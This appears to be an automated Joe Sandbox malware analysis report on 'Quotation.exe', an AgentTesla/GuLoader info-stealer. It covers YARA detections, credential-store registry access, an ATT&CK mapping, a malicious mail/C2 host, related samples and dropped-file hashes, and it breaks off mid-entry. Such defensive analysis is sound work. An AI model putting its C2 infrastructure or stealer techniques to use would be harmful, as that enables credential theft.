Source: C:\Users\user\Desktop\Quotation.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000005.00000002.2623639299.0000000036261000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Quotation.exe PID: 1212, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000005.00000002.2623639299.0000000036293000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2623639299.000000003628B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2623639299.0000000036261000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Quotation.exe PID: 1212, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Obfuscated Files or Information	11 Input Capture	225 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	1 DLL Side-Loading	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	311 Security Software Discovery	Distributed Component Object Model	11 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	141 Virtualization/Sandbox Evasion	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Quotation.exe	42%	ReversingLabs	Win32.Trojan.Guloader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.185.238	true	false	unknown
drive.usercontent.google.com	172.217.16.129	true	false	unknown
api.ipify.org	172.67.74.152	true	false	unknown
showpiece.trillennium.biz	67.23.226.139	true	true	unknown
mail.showpiece.trillennium.biz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://showpiece.trillennium.biz	Quotation.exe, 00000005.00000002.2623639299.000000003628B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com/(	Quotation.exe, 00000005.00000002.2601745635.0000000005C81000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	Quotation.exe, 00000005.00000002.2601745635.0000000005C71000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000003.2085619981.0000000005C86000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.ipify.org	Quotation.exe, 00000005.00000002.2623639299.0000000036211000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r11.o.lencr.org0#	Quotation.exe, 00000005.00000002.2623639299.0000000036293000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005C81000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005D08000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2624796342.0000000038ACE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mail.showpiece.trillennium.biz	Quotation.exe, 00000005.00000002.2623639299.000000003628B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/	Quotation.exe, 00000005.00000002.2601745635.0000000005C18000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	Quotation.exe, 00000005.00000002.2623639299.0000000036293000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005C81000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2624796342.0000000038ACE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	Quotation.exe, 00000005.00000002.2623639299.0000000036293000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005C81000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2624894201.0000000038B5E000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2624796342.0000000038ACE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencrT	Quotation.exe, 00000005.00000002.2624894201.0000000038B5E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://apis.google.com	Quotation.exe, 00000005.00000003.2085619981.0000000005C86000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_Error...	Quotation.exe	false		unknown
https://api.ipify.org/t	Quotation.exe, 00000005.00000002.2623639299.0000000036211000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Quotation.exe, 00000005.00000002.2623639299.0000000036211000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r11.i.lencr.org/0	Quotation.exe, 00000005.00000002.2623639299.0000000036293000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005C81000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005D08000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2624796342.0000000038ACE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com/5	Quotation.exe, 00000005.00000002.2601745635.0000000005C81000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
67.23.226.139	showpiece.trillennium.biz	United States	33182	DIMENOCUS	true
172.217.16.129	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
142.250.185.238	drive.google.com	United States	15169	GOOGLEUS	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545944
Start date and time:	2024-10-31 10:43:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Quotation.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/12@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 137 Number of non-executed functions: 17
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Quotation.exe

Simulations

Behavior and APIs

Time	Type	Description
05:45:26	API Interceptor	8818x Sleep call for process: Quotation.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
67.23.226.139	Revised PI 28 08 2024.exe	Get hash	malicious	AgentTesla	Browse
	PI 22_8_2024.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	COTIZACION 19 08 24.exe	Get hash	malicious	AgentTesla	Browse
	pago.exe	Get hash	malicious	AgentTesla	Browse
	invoice.exe	Get hash	malicious	AgentTesla	Browse
	SijLVTsunN.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	DHL BILL OF LANDING SHIPPING INVOICE DOCUMENTS.exe	Get hash	malicious	AgentTesla	Browse
	PO#86637 copy.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	hI1ho6jgmf.exe	Get hash	malicious	AgentTesla	Browse
	Revised PI_2024.exe	Get hash	malicious	AgentTesla	Browse
172.67.74.152	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	4F08j2Rmd9.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	y8tCHz7CwC.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	https://www.canva.com/design/DAGVD7_HMvQ/PFkDB3TDx6Ru4nNALhSqqQ/view?utm_content=DAGVD7_HMvQ&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.26.13.205
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://schiller.life/	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	SecuriteInfo.com.Win32.PWSX-gen.31738.17793.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Biocon-In-Service Agreement.pdf	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	skuld3.exe	Get hash	malicious	Skuld Stealer	Browse	104.26.13.205
	Shipping documents 00039984849900044800.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	z1Transaction_ID_REF2418_cmd.bat	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.67.74.152
	Purchase Order PO61000016222.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Statement JULY #U007e SEP 2024 USD 19,055.00.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DIMENOCUS	https://lumen.backerkit.com/invites/mAqpu6B5ZtIAsrg4a5WdGA/confirm?redirect_path=//rahul-garg-lcatterton-com.athuselevadores.com.br	Get hash	malicious	HTMLPhisher	Browse	107.161.183.172
	http://prabal-gupta-lcatterton-com.athuselevadores.com.br/	Get hash	malicious	HTMLPhisher	Browse	107.161.183.172
	nklarm7.elf	Get hash	malicious	Unknown	Browse	109.73.163.173
	rtransferencia-.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	138.128.178.242
	bin.i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse	98.142.105.97
	https://docsend.com/view/63jvhxyyj7pwxerg	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	64.37.50.172
	RemotePCViewer.exe	Get hash	malicious	Unknown	Browse	199.168.186.114
	http://usaf.gov.ss	Get hash	malicious	Unknown	Browse	198.136.48.242
	https://svsjie.us9.list-manage.com/track/click?u=65baddd8dc4a29452f1a28eb2&id=dde4f4d149&e=6d04ecfe32	Get hash	malicious	Unknown	Browse	184.171.250.122
	OXrZ6fj4Hq.exe	Get hash	malicious	Neshta, Oski Stealer, StormKitty, SugarDump, Vidar, XWorm	Browse	138.128.164.66
CLOUDFLARENETUS	.gov.ua.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	pedido.pif.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Proposal From SIOLI Alexander Pino#U2026.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3
	PRESUPUESTO DE NOVIEMBRE...exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	.gov.ua.html	Get hash	malicious	Unknown	Browse	172.67.142.245
	Gun Ici Cek Statu Listesi.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	18in SPA-198-2024.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	http://www.thearchiterra.gr/	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	PO Number- 4900003753.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	PRESUPUESTO DE NOVIEMBRE...exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.74.152
	PO Number- 4900003753.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.67.74.152
	Purchase Order 17025.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.67.74.152
	I43xo3KKfS.exe	Get hash	malicious	Stealc	Browse	172.67.74.152
	http://luckywinsweep.com/4tTAnN1826Wdfo84jjvakjqbux636KVMMHSLZEESXXFW54756LTNO308c9	Get hash	malicious	Phisher	Browse	172.67.74.152
	http://luckywinsweep.com/4HSvRF1826gInt84duwrkafbng636FPJGMZWGTSQLQDN54756JUOR308k9	Get hash	malicious	Phisher	Browse	172.67.74.152
	segura.vbs	Get hash	malicious	Remcos	Browse	172.67.74.152
	asegurar.vbs	Get hash	malicious	Remcos	Browse	172.67.74.152
	nOrden_de_Compra___0001245.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.74.152
	file.exe	Get hash	malicious	Stealc	Browse	172.67.74.152
37f463bf4616ecd445d4a1937da06e19	nOrden_de_Compra___0001245.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.250.185.238 172.217.16.129
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse	142.250.185.238 172.217.16.129
	b4s45TboUL.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.185.238 172.217.16.129
	rCommercialoffer_Technicaloffer_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.238 172.217.16.129
	Justificante de pago.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.238 172.217.16.129
	rPO-000172483.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.238 172.217.16.129
	rPO-000172483.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.238 172.217.16.129
	Ppto.24265.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.238 172.217.16.129
	Factura Honorarios 2024-10.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.238 172.217.16.129
	Stadigheder43.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.238 172.217.16.129

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll	rPO-000172483.exe	Get hash	malicious	FormBook, GuLoader	Browse
	rPO-000172483.exe	Get hash	malicious	FormBook, GuLoader	Browse
	gHQQfMh4F3.exe	Get hash	malicious	GuLoader	Browse
	gHQQfMh4F3.exe	Get hash	malicious	GuLoader	Browse
	N874xsydiD.exe	Get hash	malicious	GuLoader	Browse
	Zeskanowana lista przedmiot#U00f3w nr 84329.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	Zeskanowana lista przedmiot#U00f3w nr 84329.vbs	Get hash	malicious	GuLoader	Browse
	mbdcKkZ3Ag.exe	Get hash	malicious	GuLoader	Browse
	mbdcKkZ3Ag.exe	Get hash	malicious	GuLoader	Browse
	mydreamudpate.hta	Get hash	malicious	Cobalt Strike, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.97694153396788
Encrypted:	false
SSDEEP:	192:acA1YOTDExj7EFrYCT4E8y3hoSdtTgwF43E7QbGPXI9uIc6w79Mw:RR7SrtTv53tdtTgwF4SQbGPX36wJMw
MD5:	D6F54D2CEFDF58836805796F55BFC846
SHA1:	B980ADDC1A755B968DD5799179D3B4F1C2DE9D2D
SHA-256:	F917AEF484D1FBB4D723B2E2D3045CB6F5F664E61FBB3D5C577BD1C215DE55D9
SHA-512:	CE67DA936A93D46EF7E81ABC8276787C82FD844C03630BA18AFC3528C7E420C3228BFE82AEDA083BB719F2D1314AFAE913362ABD1E220CB364606519690D45DB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: rPO-000172483.exe, Detection: malicious, Browse Filename: rPO-000172483.exe, Detection: malicious, Browse Filename: gHQQfMh4F3.exe, Detection: malicious, Browse Filename: gHQQfMh4F3.exe, Detection: malicious, Browse Filename: N874xsydiD.exe, Detection: malicious, Browse Filename: Zeskanowana lista przedmiot#U00f3w nr 84329.vbs, Detection: malicious, Browse Filename: Zeskanowana lista przedmiot#U00f3w nr 84329.vbs, Detection: malicious, Browse Filename: mbdcKkZ3Ag.exe, Detection: malicious, Browse Filename: mbdcKkZ3Ag.exe, Detection: malicious, Browse Filename: mydreamudpate.hta, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@t.]!..]!..]!...T..Z!...Y..Z!..]!..I!...T..Y!...T..\!...T..\!...T..\!..Rich]!..................PE..L.....*c.........."!.....$..........J........@...............................p............@..........................@.......A..P............................`.......................................................@..X............................text...{".......$.................. ..`.rdata.......@.......(..............@..@.data...D....P.......,..............@....reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Music\antithetic.ini

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.264578373902383
Encrypted:	false
SSDEEP:	3:apWPWPjNLCNHiy:UPRCNHiy
MD5:	58AC0B5E1D49D0EE1AED2FE13FAE6C7A
SHA1:	02C8384573D47CA39F2E2ACA32B275861EC59A93
SHA-256:	624F49944CB84ED51FECABCD549AE3B47152F9A20C4A95E93C8B007AEFE9FEAB
SHA-512:	8F5F062D6EBB8312DA4AD4F5AF077B1EAA2E14244823F15E6A87A9E48C7172CC1EA5AB691D3B4F9D8F8E0605F9CB3AA06590B4389820DA531633D9915B988FFC
Malicious:	false
Reputation:	low
Preview:	[broadspread]..slyngvrk=houghband..

C:\Users\user\overlays\besvangredes\Emmens.udk

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	482519
Entropy (8bit):	1.2446382063037653
Encrypted:	false
SSDEEP:	1536:+yiLw81PnsncGiIsTVODPOqNbsVEVWZkZA4:G/Pne9iIyVODPsVpZkZA4
MD5:	1D099F6122F4B7C8A78925726B59E5C3
SHA1:	EEA154E31FF04CD1A2CED0193F7633ED219CFA47
SHA-256:	1B6DC1EAD079DB05B998725B154E803E6E1504E7E5B49C5611D55E018CD45E6D
SHA-512:	F31F0A285C5A6EB2236CCD49A8BF939E46624F270E0270FC4C5640B37684BC1C7780C5350F778DA8E9D0B8CD25320C1909A9CD937F15BB3A7CDDBCEEE94C47FB
Malicious:	false
Reputation:	low
Preview:	.....................................FP.l...........-...............#............W.............a...............3..........1..i.k.............;......H.............................2..............X..H.....}..................................................M.........M........................................................8......_............8....................................................................?...................................................................................J..............................................T.....................................................B..........................7.....................4........o..P................!........................................................................q..........................................................................l............................;...................................q...............................g.......mm......................................n.......................P.........

C:\Users\user\overlays\besvangredes\Parfumere224.wam

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	GTA audio index data (SDT)
Category:	dropped
Size (bytes):	379208
Entropy (8bit):	7.6144189340710176
Encrypted:	false
SSDEEP:	6144:+Ojg9/+8Uw+Txop1slWP/FAYiCHdj+1m9MLvZsq2IOz:16WzTxopkKAHC9j+Q9kuz
MD5:	7C3E64A3E8123691A49FE787A50FC916
SHA1:	ABD13A7497B522741F727E0172A8BC839DB18C93
SHA-256:	51312E2DDEFCCABC4C8C96A229637B5F247FB1000FECEDBF6FD6EAD54843870B
SHA-512:	87D464C7A1EFF82650FAB62F0E8F0444A6A9504DD53151F607705D1F3A9FEDC00B76A201902DDE27D79474DC763E42E6815BABA6A763F7E23B11D5EF4375015F
Malicious:	false
Reputation:	low
Preview:	....................==.....PPPPPP.L....YYYYY..jj.................................."...........55...........s..&.....VV............v......T..............###........W.RR...y.R.....AAAAA..........................\|.y...........\......%..I.....bbbb............C..f.r.5.+..5......qJ6p..v9h..T].`{.o.7:2J......"........"B...l....'kZ.H..Ku.>.8....?!{).I~......f....6...]...-...Nm...\DG?W./R.($sAO&.0.d,.a4x.VU........X..~.M...k..4YL..z.....fj...~!.....E......^<_.y1...w...}.... .f....j..8g#..U.@.Qe....;. =)cs.%,[.r.P..nR.........F......C.i.....u.....?3...M...t.hb..5......qJ6p..v9h..T].`{.o.7:2J......"4B...l...z.P.f.b..q.q....'kZ.H..Ku.>.8....?!{).I~.......b.......-...Nm...\DG?W./R.($sAO&.0.d,.a4x.VU...........6.....X.YL..z.....fj...~!.....E......^<_.y1...w...}..M.-b..f.j..C......g#..U.@.Qe....;. =)cs.%,[.r.P..nR.........F......C.i...3...!..r....'...t.hb..5......qJ6p..v9h..T].`{.o........#:2J......"4B...l....'kZ.H..Ku.>.8....),.......?!{).I~....]...-...Nm...f....f

C:\Users\user\overlays\besvangredes\unnaturalism\Erythroclastic.Lid

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	151886
Entropy (8bit):	4.598995683173564
Encrypted:	false
SSDEEP:	1536:Gxab7YwMXTp0UgPWnDziLbHyFC/cx6pTeH6gObSzRy20KDfC3wInFTlLBmsYY6aH:xUw8iUgPsHoDu6pTek20EUnVlLksHt
MD5:	7FC876F12112A1459C701AE1812AC3A4
SHA1:	BF3ACAB93654D132BB2D62C844D888231AB17DF4
SHA-256:	9F9AD7DDDA58AAC8054D9A28ECE3956741834E725611C130DB15139C4DFFD1FA
SHA-512:	E210B9DDC6C8699EA5CFA4E3B13348F17693BED48B1244327775C335AB325A604DD78DB7B358051C84B562463F39A66FB1CC654FF3E0C8E0A8161C8D5665DFFB
Malicious:	false
Reputation:	low
Preview:	. .....................(......KKK..............DD....l.).......................O.aa...........$.........J...................I.....NN...........R..q......,,................\........................................H.........................ii.................x.sss.......))....x...44....pp..nn.2.................SSSS....YY....:.OO....0...J.....r.......Y.ZZ.........9...f.SSSSSS...................................................[.........g...==...........^^^^^^^^.r..............T..;....................................................~~~..hh.HH...............qqqqq............333..8.........--.........y.............l...................X......%................kkk.............[.^^^^...........WW......................BBB......GG..............p..............\...........F...]..............P.........zz......n...UUUUUU.......tt..............x.....111..................JJ..........CC...<<<<<<<<.......................d....33333..........T.A....II.........................................................

C:\Users\user\overlays\besvangredes\unnaturalism\Proprietrer.bet

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	288955
Entropy (8bit):	1.2577770955280814
Encrypted:	false
SSDEEP:	768:l1SkOmjqFRV/HZzy6+19kZBH4YVHCdJS7G5iOUEEaXXLlgHHl7MRY9hN+418WPK5:KOqvBJzC5vBhp8KT9AGCbQTZkkR
MD5:	0B62328C4966F6B879B3C13B7FBD9C0D
SHA1:	6DD81F12E739E81E06778067513ED1178A06AFC9
SHA-256:	645C325F62AF720972466322B09A7E396E46D8E640B138D582374B68D763A3A7
SHA-512:	2F738A2950352F124F7B969D38B52BD2E4453FF42BC8DEB7566620E6CDEA30368A6DC16230BA49050F8C0327175CAB71DC4A1709541F08A3FFDCF55FAF5B75B8
Malicious:	false
Reputation:	low
Preview:	.........................................s.............i.......................................A.........................4.......;........i................................................_........................-.&..............................+..........................................................8.............................................?....U........................................................~........g... .....?...............................................................f............................S..................................!...........................j.............m....g....................................(............................z....d..........z..........^...............s...........................H............................t..........A.....................\|............................................................[.................................................\.......................v...........o...................................m...........

C:\Users\user\overlays\besvangredes\unnaturalism\Trikstanks.pra

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	340974
Entropy (8bit):	1.254605943274635
Encrypted:	false
SSDEEP:	768:AgVdAd1etxyZmQhZgJwrQTTwKuiTGrJqCoIEsPkZnFFSKsOI4v/3n35lB3LiADa4:5TxLsV5IjQ3xx12
MD5:	49BE0E06F2E4F0CCFFB46426EE262642
SHA1:	FF9C56C31A824E4CA087705C23D01D288FE34239
SHA-256:	A55DAC07FB586D4B64F0DDF812087A2EEEC6F5286D9BC73AD648ED3220ABDD3A
SHA-512:	27E9D035708943DD257186457C15488C9405747FC77F7C76760C96EE011C239F9FA53B5DA17958038FB2BA1C4E27E643E7924A37E6164E250B9F45A109D92E53
Malicious:	false
Preview:	.....................................n.........A...5............K.................C.........a............>....................................................................................p...................................................................................................................W.......................................m.........................................M..........................'......i.............................................................................................4....................................}....................................................................................................................................................x...........S..................'..y............................................../..........................................M..................Z.................................V.......................................=.....N...............................n..................................\|. .....

C:\Users\user\overlays\besvangredes\unnaturalism\boyaus.rom

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	392462
Entropy (8bit):	1.241128723454179
Encrypted:	false
SSDEEP:	768:jby0EUrStmwpKcx/orVcYZ+M3ok1I7vZFCDrlv2UV5t3votN6cGia46OGj3OkYSk:FaZaukRTadSdbrJ5N275Ea3nRYS3r
MD5:	F130EC3095DBECEDC791D8C58A59040C
SHA1:	DAD2300B487F31F199520E1B41AB02B7D677B352
SHA-256:	A56351ED69A301F5D9D89B6530280B7A85F998A806E1648911C37B6983BA9426
SHA-512:	8599200F472F2D59390E8F2C497331640B12AB9FAF71817160C6D450EDF8A99F78CEF28CC3B57581D6AECFC1EC90A49947A6685C606321B6EE300D483C838360
Malicious:	false
Preview:	..................J......-..............K....e..........1......................D....................................?............K.V..............................................\....3.......................................L.................................A.........i........,...........................P.{............................................................r................................................V........................................e............&.................................................7...................k.........<...s................).................................................x...............................j................................`.................b.................G.......w..........................................{.........................................G..............................:.................#..............................................<..O......^..........O..............................7..\................................

C:\Users\user\overlays\besvangredes\unnaturalism\gear.dra

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	433786
Entropy (8bit):	1.255949132332751
Encrypted:	false
SSDEEP:	768:NFXORpsqJLOaVDzzoIgUPRGRoYNxHVxyczaUz4pP9Nom56I4tY6UBh1Yc88LaAQo:TUAoYxPzqoIzdwWR1+/24cwZXeCPiIBo
MD5:	53FF1A157920AE92C9BF891D453D6B65
